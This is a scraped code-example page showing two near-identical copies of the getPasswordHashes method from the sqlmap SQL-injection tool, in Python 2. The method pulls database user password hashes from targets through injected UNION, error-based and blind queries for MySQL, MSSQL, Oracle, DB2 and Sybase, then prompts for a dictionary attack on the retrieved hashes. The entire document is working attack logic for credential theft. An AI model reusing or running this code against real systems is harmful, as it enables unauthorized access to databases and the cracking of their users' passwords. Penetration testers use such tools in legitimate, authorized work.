Ejemplo n.º 1
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                         DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(",")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(
                isTechniqueAvailable(_)
                for _ in (PAYLOAD.TECHNIQUE.UNION,
                          PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                ("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user)
                                     for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=False)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        # password = "******" % strToHex(password)
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                value = inject.getValue(query, blind=False)

                for user, password in filterPairValues(value):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable(
        ) and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable(
                    "(%s) AS %s" % (query, randStr),
                    ['%s.name' % randStr,
                     '%s.password' % randStr],
                    blind=True)

                if retVal:
                    for user, password in filterPairValues(
                            zip(retVal[0]["%s.name" % randStr],
                                retVal[0]["%s.password" % randStr])):
                        password = "******" % strToHex(password)

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    if user in retrievedUsers:
                        continue

                    infoMsg = "fetching number of password hashes "
                    infoMsg += "for user '%s'" % user
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(
                        ("2005", "2008")):
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)
                        continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                              DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index,
                                                                  user)
                            else:
                                query = rootQuery.blind.query % (user, index,
                                                                 user)
                        else:
                            query = rootQuery.blind.query % (user, index)
                        password = inject.getValue(query,
                                                   inband=False,
                                                   error=False)
                        password = parsePasswordHash(password)
                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (most probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            raise sqlmapNoneDataException, errMsg
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(
                    set(kb.data.cachedUsersPasswords[user]))

        message = "do you want to perform a dictionary-based attack "
        message += "against retrieved password hashes? [Y/n/q]"
        test = readInput(message, default="Y")

        if test[0] in ("n", "N"):
            pass
        elif test[0] in ("q", "Q"):
            raise sqlmapUserQuitException
        else:
            attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords
Ejemplo n.º 2
0
    def getPasswordHashes(self):
        infoMsg = "fetching database users password hashes"

        rootQuery = queries[Backend.getIdentifiedDbms()].passwords

        if conf.user == "CU":
            infoMsg += " for current user"
            conf.user = self.getCurrentUser()

        logger.info(infoMsg)

        if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
            conf.user = conf.user.upper()

        if conf.user:
            users = conf.user.split(",")

            if Backend.isDbms(DBMS.MYSQL):
                for user in users:
                    parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                    if parsedUser:
                        users[users.index(user)] = parsedUser.groups()[0]
        else:
            users = []

        users = filter(None, users)

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                query = rootQuery.inband.query2
            else:
                query = rootQuery.inband.query

            condition = rootQuery.inband.condition

            if conf.user:
                query += " WHERE "
                query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))

            if Backend.isDbms(DBMS.SYBASE):
                randStr = randomStr()
                getCurrentThreadData().disableStdOut = True

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        # password = "******" % strToHex(password)
                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                value = inject.getValue(query, blind=False)

                for user, password in filterPairValues(value):
                    if not user or user == " ":
                        continue

                    password = parsePasswordHash(password)

                    if user not in kb.data.cachedUsersPasswords:
                        kb.data.cachedUsersPasswords[user] = [password]
                    else:
                        kb.data.cachedUsersPasswords[user].append(password)

        if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
            if not len(users):
                users = self.getUsers()

                if Backend.isDbms(DBMS.MYSQL):
                    for user in users:
                        parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)

                        if parsedUser:
                            users[users.index(user)] = parsedUser.groups()[0]

            if Backend.isDbms(DBMS.SYBASE):
                getCurrentThreadData().disableStdOut = True

                randStr = randomStr()
                query = rootQuery.inband.query

                retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)

                if retVal:
                    for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
                        password = "******" % strToHex(password)

                        if user not in kb.data.cachedUsersPasswords:
                            kb.data.cachedUsersPasswords[user] = [password]
                        else:
                            kb.data.cachedUsersPasswords[user].append(password)

                getCurrentThreadData().disableStdOut = False
            else:
                retrievedUsers = set()

                for user in users:
                    if user in retrievedUsers:
                        continue

                    infoMsg = "fetching number of password hashes "
                    infoMsg += "for user '%s'" % user
                    logger.info(infoMsg)

                    if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
                        query = rootQuery.blind.count2 % user
                    else:
                        query = rootQuery.blind.count % user
                    count = inject.getValue(query, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)
                        continue

                    infoMsg = "fetching password hashes for user '%s'" % user
                    logger.info(infoMsg)

                    passwords = []

                    plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
                    indexRange = getLimitRange(count, plusOne=plusOne)

                    for index in indexRange:
                        if Backend.isDbms(DBMS.MSSQL):
                            if Backend.isVersionWithin(("2005", "2008")):
                                query = rootQuery.blind.query2 % (user, index, user)
                            else:
                                query = rootQuery.blind.query % (user, index, user)
                        else:
                            query = rootQuery.blind.query % (user, index)
                        password = inject.getValue(query, inband=False, error=False)
                        password = parsePasswordHash(password)
                        passwords.append(password)

                    if passwords:
                        kb.data.cachedUsersPasswords[user] = passwords
                    else:
                        warnMsg = "unable to retrieve the password "
                        warnMsg += "hashes for user '%s'" % user
                        logger.warn(warnMsg)

                    retrievedUsers.add(user)

        if not kb.data.cachedUsersPasswords:
            errMsg = "unable to retrieve the password hashes for the "
            errMsg += "database users (most probably because the session "
            errMsg += "user has no read privileges over the relevant "
            errMsg += "system database table)"
            raise sqlmapNoneDataException, errMsg
        else:
            for user in kb.data.cachedUsersPasswords:
                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))

        message = "do you want to perform a dictionary-based attack "
        message += "against retrieved password hashes? [Y/n/q]"
        test = readInput(message, default="Y")

        if test[0] in ("n", "N"):
            pass
        elif test[0] in ("q", "Q"):
            raise sqlmapUserQuitException
        else:
            attackCachedUsersPasswords()

        return kb.data.cachedUsersPasswords